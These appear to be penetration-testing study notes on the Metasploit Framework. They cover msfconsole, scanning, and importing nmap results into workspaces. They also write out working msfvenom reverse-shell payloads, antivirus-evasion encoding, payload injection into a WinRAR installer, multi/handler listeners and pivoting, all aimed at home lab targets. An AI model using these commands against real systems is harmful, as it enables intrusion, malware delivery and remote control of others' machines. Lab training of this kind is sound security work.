MSF Introduction

πŸ—’οΈ The Metasploit Framework (MSF) is an open-source pentesting and exploit development platform, used to write, test and execute exploit code.

  • Provides automation of the penetration testing life cycle (specially exploitation and post-exploitation)
  • Used to develop and test exploits
  • Has a world database and public tested exploits
  • It is modular, new modules can be added and integrated
  • Pre-installed in Kali Linux
  • It is open-source
  • Founded by H.D. Moore in 2003 (developed in Perl), Written in Ruby in 2007, acquired by Rapid7 in 2009, released as Metasploit v6.0 in 2020
  • Metasploit Framework is the Community Edition
  • Metasploit Pro & Express are Commercial versions

Terminology

Term Description
Interface Methods of interacting with the Metasploit Framework (msfconsole, Metasploit cmd)
Module Pieces of code that perform a particular task (an exploit)
Vulnerability Exploitable flaw or weakness in a computer system or network
Exploit Code/Module used to take advantage of a vulnerability
Payload Piece of code delivered to the target by an exploit (execute arbitrary commands or provide remote access)
Listener Utility that listens for an incoming connection from a target

πŸ“Œ Exploit is launched (takes advantage of the vulnerability) ➑️ Payload dropped (executes a reverse shell command) ➑️ Connects back to the Listener

Interfaces

πŸ—’οΈ Metasploit Framework Console (MSFconsole) - an all in one interface that provides with access to all the functionality of the MSF.

msfconsole

πŸ—’οΈ Metasploit Framework Command Line Interface (MSFcli) - a command line utility used to facilitate the creation of automation scripts that utilize Metasploit modules.

  • Discontinued in 2015, MSFconsole can be used with the same functionality of redirecting output from other tools into msfcli and vice versa.

πŸ—’οΈ Metasploit Community Edition GUI - a web based GUI front-end of the MSF.

πŸ—’οΈ Armitage - a free Java based GUI front-end cyber attack management tool for the MSF.

  • Visualizes targets and simplifies network discovery
  • Recommends exploits
  • Exposes the advanced capabilities of the MSF

Metasploit Framework Architecture - oreilly.com

πŸ—’οΈ A module is the piece of code that can be utilized and executed by the MSF.

The MSF libraries (Rex, Core, Base) allow to extend and initiate functionality, facilitating the execution of modules without having to write additional code.

MSF Module Description
Exploit Used to take advantage of a vulnerability, usually paired with a payload
Payload Code delivered and remotely executed on the target after successful exploitation - e.g. a reverse shell that initiates a connection
Encoder Used to encode payloads in order to avoid Anti Virus detection - e.g. shikata_ga_nai encoding scheme
NOPS Keep the payload sizes consistent across exploit attempts and ensure the stability of a payload on the target system
Auxiliary Is not paired with a payload, used to perform additional functionality - e.g. port scanners, fuzzers, sniffers, etc

Payloads are created at runtime from various components. Depending on the target system and infrastructure, there are two types of payloads that can be used:

  • Non-Staged Payload - sent to the target system as is, along with the exploit
  • Staged Payload - sent to the target in two parts:
    • the stager (first part) establish a stable communication channel between the attacker and target. It contains a payload, the stage, that initiates a reverse connection back to the attacker
    • the stage (second part) is downloaded by the stager and executed
      • executes arbitrary commands on the target
      • provides a reverse shell or Meterpreter session

πŸ—’οΈ The Meterpreter is an advanced multi-functional payload executed by in memory DLL injection stagers on the target system.

  • Communicates over the stager socket
  • Provides an interactive command interpreter on the target system
ls /usr/share/metasploit-framework

ls /usr/share/metasploit-framework

  • MSF filesystem is intuitive and organized by directories.
  • Modules are stored under:
    • /usr/share/metasploit-framework/modules/
    • ~/.msf4/modules - user specified modules


Pentesting with MSF

πŸ—’οΈ PTES (Penetration Testing Execution Standard) is a methodology that contains 7 main sections, defined by the standard as a comprehensive basis for penetration testing execution.

  • can be adopted as a roadmap for Metasploit integration and understanding of the phases of a penetration test.

The various phases involved in a typical pentest should be:

πŸ“Œ Pre-Engagement Interactions

⬇️

πŸ“Œ Information Gathering

⬇️

πŸ“Œ Enumeration

  • Threat Modeling
  • Vulnerability Analysis

⬇️

πŸ“Œ Exploitation

  • Identify Vulnerable Services
  • Prepare Exploit Code
  • Gaining Access
  • Bypass AV detection
  • Pivoting

⬇️

πŸ“Œ Post Exploitation

  • Privilege Escalation
  • Maintaining Persistent Access
  • Clearing Tracks

⬇️

πŸ“Œ Reporting

Metasploit Fundamentals

πŸ—’οΈ The Metasploit Framework Database (msfdb) contains all the data used with MSF like assessments and scans data, etc.

  • Uses PostgreSQL as the primary database - postgresql service must be running
  • Facilitates the import and storage of scan results (from Nmap, Nessus, other tools)
  • Use APT package manager on Kali Linux (or on Debian-based distros)
sudo apt update && sudo apt install metasploit-framework -y
  • Enable postgresql at boot, start the service and initialize MSF database
sudo systemctl enable postgresql
sudo systemctl restart postgresql
sudo msfdb init
  • Run msfconsole to start the Metasploit Framework Console
msfconsole
  • Check the db connection is on in the msfconsole
db_status

πŸ“Œ Check this article by StationX ➑️ How to Use Metasploit in Kali Linux + Metasploitable3 which will cover:

  • Deploying a Kali Linux virtual machine with Metasploit pre-installed
  • Setting up a target in a virtual lab, Metasploitable3, with Vagrant
  • A sample walkthrough against a vulnerable MySQL Server
  • Frequently Asked Questions (FAQ)

πŸ—’οΈ The Metasploit Framework Console (msfconsole) is an all-in-one interface and centralized console that allows access to all of the MSF options and features.

  • It is launched by running the msfconsole command
msfconsole
  • Run it in quiet mode without the banner with
msfconsole -q

Module Variables

An MSF module requires additional information that can be configured through the use of MSF variables, both local or global variables, called options inside the msfconsole.

Variables e.g. (they are based on the selected module):

  • LHOST - attacker's IP address
  • LPORT - attacker's port number (receive reverse connection)
  • RHOST - target's IP address
  • RHOSTS - multiple targets/networks IP addresses
  • RPORT - target port number

Useful Commands

  • Run msfconsole and check these useful commands:
help
version

show -h
show all
show exploits

search <STRING>
use <MODULE_NAME>
set <OPTION>
run
execute # same as run

sessions
connect

Port Scan Example

search portscan
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS <TARGET_IP>
set PORTS 1-1000
run
# CTRL+C to cancel the running process
back

CVE Exploits Example

search cve:2017 type:exploit platform:windows

search cve:2017 type:exploit platform:window

Payload Options Example

search eternalblue
use 0
# specify the identifier
set payload <PAYLOAD_NAME>
set RHOSTS <TARGET_IP>
run
# or
exploit

πŸ—’οΈ Metasploit Workspaces allows to manage and organize the hosts, data, scans and activities stored in the msfdb.

  • Import, manipulate, export data
  • Create, manage, switch between workspaces
  • Sort and organize the assessments of the penetration test

πŸ“Œ It's recommended to create a new workspace for each engagement.

msfconsole -q
db_status
	[*] Connected to msf. Connection type: postgresql.
workspace -h

workspace -h

workspace
# current working workspace
	* default
  • Create a new workspace
workspace -a Test

  • Change workspace
workspace <WORKSPACE_NAME>
workspace -a INE
  • Delete a workspace
workspace -d Test

Information Gathering & Enumeration with MSF

  • The Metasploit Framework allows to import nmap results.

Nmap Enumeration

nmap enumeration results (service versions, operating systems, etc) can be exported into a file that can be imported into MSF and used for further detection and exploitation.

πŸ”¬ Check the full nmap information gathering lab in this Nmap Host Discovery Lab (at the end of the page).

Some commands:

nmap <TARGET_IP>
nmap -Pn <TARGET_IP>
nmap -Pn -sV -O <TARGET_IP>
  • Output the nmap scan results into an .XML format file that can be imported into MSF
nmap -Pn -sV -O 10.2.18.161 -oX windows_server_2012
  • In the same lab environment from above, use msfconsole to import the results into MSF with the db_import command
service postgresql start
msfconsole
  • Inside msfconsole
db_status
workspace -a Win2k12
db_import /root/windows_server_2012
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.7'
[*] Importing host 10.2.18.161
[*] Successfully imported /root/windows_server_2012
hosts
services
vulns
loot
creds
notes

  • Perform an nmap scan within the MSF Console and import the results in a dedicated workspace
workspace -a nmap_MSF
db_nmap -Pn -sV -O <TARGET_IP>

MSF Auxiliary modules are used during the information gathering (similar to nmap) and the post exploitation phases of the pentest.

  • perform TCP/UDP port scanning
  • enumerate services
  • discover hosts on different network subnets (post-exploitation phase)

Lab Network Service Scanning

πŸ”¬ Lab T1046 : Network Service Scanning

service postgresql start && msfconsole -q

run

  • Perform a network scan on the second target
meterpreter > shell
/bin/bash -i
ifconfig
# 192.26.158.2 Local Lan subnet IP
exit
  • Add the route within meterpreter and background the meterpreter session
run autoroute -s 192.26.158.2
background

search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.26.158.3

[+] 192.26.158.3: - 192.26.158.3:80 - TCP OPEN
  • Upload and run nmap against the second target, from the first target machine
sessions 1
upload /root/tools/static-binaries/nmap /tmp/nmap
shell
/bin/bash -i
cd /tmp
chmod +x ./nmap
./nmap -p- 192.26.158.3
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

πŸ“Œ There are 3 running services on the second target machine.

UDP Scan

  • Into msfconsole
search udp_sweep
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.41.167.3
run

πŸ“ŒπŸ”¬ Check the Enumeration Section labs here for basic nmap enumeration.

Next, there are some MSF commands and modules for service enumeration on the same labs from the Enumeration Section.

  • Auxiliary modules can be used for enumeration, brute-force attacks, etc

β—πŸ“ On every attacker machine, run this command to start msfconsole:

service postgresql start && msfconsole -q
  • Setup a global variable. This will set the RHOSTS option for all the modules utilized:
setg RHOSTS <TARGET_IP>

Vulnerability Scanning With MSF

MSF Auxiliary and exploit modules can be utilized to identify inherent vulnerabilities in services, O.S. and web apps.

  • Useful in the Exploitation phase of the pentest

πŸ”¬ Metasploitable3 lab environment will be used for the vulnerability scanning demonstration.

  • Metasploitable3 is a vulnerable virtual machine developed by Rapid7, intended to be used as a vulnerable target for testing exploits with Metasploit.

πŸ”¬ You can find my lab installation & configuration with Vagrant at this page, set up for educational purposes.

  • Kali Linux attacker machine must be configured with the same local network of the Metasploitable3 VMs.

Detect active hosts on the local network, from the Kali VM:

sudo nmap -sn 192.168.31.0/24
Nmap scan report for 192.168.31.139 # Linux target
Nmap scan report for 192.168.31.140 # Windows2008 target
  • Run Metasploit:
service postgresql start && msfconsole -q
db_status
setg RHOSTS 192.168.31.140
setg RHOST 192.168.31.140
workspace -a VULN_SCAN_MS3
  • Service version is a key piece of information for the vulnerabilities scanning. Use the db_nmap command inside the MSF

  • List WMAP found vulnerabilities
wmap_vulns -l
  • Since the allowed methods are POST, OPTIONS, GET, HEAD, exploit the vulnerability with the use of auxiliary/scanner/http/http_put module to upload a file into the /data directory
    • πŸ“Œ A reverse shell payload can be uploaded and run on the target.
use auxiliary/scanner/http/http_put
options
set PATH /data/
set FILEDATA "File uploaded"
set FILENAME file.txt
run

Metasploit - auxiliary/scanner/http/http_put

  • Test if the file has been uploaded correctly
curl http://192.28.60.3:80/data/file.txt

A client-side attack is a security breach that happens on the client side.

  • Social engineering techniques take advantage of human vulnerabilities
  • Require user-interaction to open malicious documents or portable executables (PEs)
  • The payload is stored on the client's system
  • Attackers have to pay attention to Anti Virus detection

❗ Advanced modern antivirus solutions detects and blocks this type of payloads very easily.

Msfvenom Payloads

msfvenom - a Metasploit standalone payload generator and encoder

  • e.g. - generate a malicious meterpreter payload, transfer it to a client target; once executed it will connect back to the payload handler and provides with remote access
  • List available payloads
msfvenom --list payloads
  • When generating a payload the exact name of the payload must be specified
    • target operating system
    • target O.S. architecture (x64, x86 ...)
    • payload type
    • protocol used to connect back (depends on requirements)

e.g. of Staged payload

  • windows/x64/meterpreter/reverse_tcp

e.g. of Non-Staged payload

  • windows/x64/meterpreter_reverse_https

  • Generate a Windows payload with msfvenom

32bit payload:

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -f exe > /home/kali/certs/ejpt/Windows_Payloads/payloadx86.exe

# LHOST = Attacker IP address

64bit payload:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -f exe > /home/kali/certs/ejpt/Windows_Payloads/payloadx64.exe

64bit payload:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -f elf > /home/kali/certs/ejpt/Linux_Payloads/payloadx64
  • πŸ“Œ Platform and architecture are auto selected if not specified, based on the selected payload

The transferring method onto the target system depends on the type of the social engineering technique.

  • e.g. A simple web server can be set up on the attacker system to serve the payload files and a handler to receive the connection back from the target system
cd /home/kali/certs/ejpt/Windows_Payloads
sudo python -m http.server 8080
  • To deal with a meterpreter payload, an appropriate listener is necessary to handle the reverse connection, the multi/handler Metasploit module in this case
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run
  • Download the payload on the Windows 2008 system (in this case my home lab VM) from this link

    • http://192.168.31.128:8080
    • Run the payloadx86.exe payload on the target
  • The meterpreter session on the attacker machine should be opened

Same example with the linux/x86/meterpreter/reverse_tcp Linux payload executed on the Kali VM.

Encoding Payloads

Signature based Antivirus solutions can detect malicious files or executables. Older AV solutions can be evaded by encoding the payloads.

  • ❗ This kind of attack vector is outdated and hardly used today.
  • May work on legacy old O.S. like Windows 7 or older.

πŸ—’οΈ Payload Encoding involves changing the payload shellcode with the aim of changing the payload signature.

πŸ—’οΈ Shellcode is the code typically used as a payload for exploitation, that provides with a remote command shell on the target system.

msfvenom --list encoders

msfvenom --list encoders

  • Excellent encoders are cmd/powershell_base64 and x86/shikata_ga_nai

Windows Payload

  • Generate a Win x86 payload and encode it with shikata_ga_nai:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -e x86/shikata_ga_nai -f exe > /home/kali/certs/ejpt/Windows_Payloads/encodedx86.exe

msfvenom shikata_ga_nai Win

  • The payload can be encoded as often as desired by increasing the number of iterations.
  • The more iterations, the better chances to bypass an Antivirus. Use -i option.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > /home/kali/certs/ejpt/Windows_Payloads/encodedx86.exe

Linux Payload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > /home/kali/certs/ejpt/Linux_Payloads/encodedx86    

msfvenom shikata_ga_nai Linux

  • Test each of the above generated payloads, like before
cd /home/kali/certs/ejpt/Windows_Payloads
sudo python -m http.server 8080
msfconsole -q

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run

πŸ“Œ Modern antivirus detects and blocks the encoded payload as soon as the download is started:

Injecting Payloads into PEs

πŸ—’οΈ Windows Portable Executable (PE) is a file format for executables, object code, DLLs and others, used in 32-bit and 64-bit Windows O.S.

  • Download a portable executable, e.g. WinRAR

  • Payloads can be injected into PEs with msfvenom with the -x and -k options

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -x winrar-x32-621.exe > /home/kali/certs/ejpt/Windows_Payloads/winrar.exe

cd /home/kali/certs/ejpt/Windows_Payloads
sudo python -m http.server 8080
msfconsole -q

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run
  • Transfer and run the winrar.exe file to the target O.S.
  • File description is kept, but not its functionality.

  • Proceed with the Post Exploitation module to migrate the process into another one, in the meterpreter session
run post/windows/manage/migrate

Automation with Resource Scripts

Repetitive tasks and commands can be automated using MSF resource scripts (same as batch scripts).

  • Almost every MSF command can be automated.
ls -al /usr/share/metasploit-framework/scripts/resource

/usr/share/metasploit-framework/scripts/resource

e.g. 1

  • Automate the process of setting up a handler for the generated payloads, by creating a new handler.rc file
nano handler.rc

# Insert the following lines
# by specifying the commands sequentially

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run

# Save it and exit
  • Load and run the recourse script in msfconsole
msfconsole -q -r handler.rc

msfconsole -q -r handler.rc

e.g. 2

nano portscan.rc

# Insert the following lines
# by specifying the commands sequentially

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.31.131
run

# Save it and exit
msfconsole -q -r portscan.rc

msfconsole -q -r portscan.rc

e.g. 3

nano db_status.rc

db_status
workspace
workspace -a TEST
msfconsole -q -r db_status.rc

  • πŸ“Œ Load up a resource script from within the msfconsole with the resource command
resource /home/kali/certs/ejpt/resource_scripts/handler.rc
  • Typed in commands in a new msfconsole session, can be exported in a new resource script
makerc /home/kali/certs/ejpt/resource_scripts/portscan2.rc

πŸ—’οΈ Post Exploitation is the process of gaining further information or access to the target's internal network, after the initial exploitation phase, using various techniques like:

There are many post exploitation modules provided by the MSF.

πŸ—’οΈ Persistence consists of techniques used by adversaries to maintain access to systems across restarts, changed credentials, or other interruptions.

πŸ—’οΈ Keylogging is the action of (secretly) recording/capturing the keystrokes entered on a target system.

πŸ—’οΈ Pivoting is a post exploitation technique of using a compromised host, a foothold / plant, to attack other systems on its private internal network.

Fundamentals - Meterpreter

  • Facilitates the execution of system commands, file system navigation, keylogging
  • Load custom scripts and plugins dynamically
  • πŸ“Œ MSF has various types of Meterpreter payloads based on the target environment

πŸ”¬ Check the Meterpreter Labs for various Meterpreter commands and techniques examples and how to upgrade shells to Meterpreter sessions.

Windows PE Modules

Windows post exploitation MSF modules can be used to:

  • Enumerate user privileges, logged-on users, installed programs, antiviruses, computers connected to a domain, installed patches and shares
  • VM check

πŸ—’οΈ Windows Event Logs, accessed via the Event Viewer on Windows, are categorized into:

  • Application logs - apps startups, crashes, etc
  • System logs - system startups, reboots, etc
  • Security logs - password changes, authentication failures/success, etc

Clearing event logs is an important part of the system assessment.

πŸ”¬ Check out the Windows Post Exploitation with MSF Labs with post-exploitation techniques for various Windows services.

Linux PE Modules

Linux post exploitation MSF modules can be used to:

  • Enumerate system configuration, environment variables, network configuration, user's history
  • VM check

πŸ”¬ Check out the Linux Post Exploitation with MSF Labs with post-exploitation techniques for various Unix services.
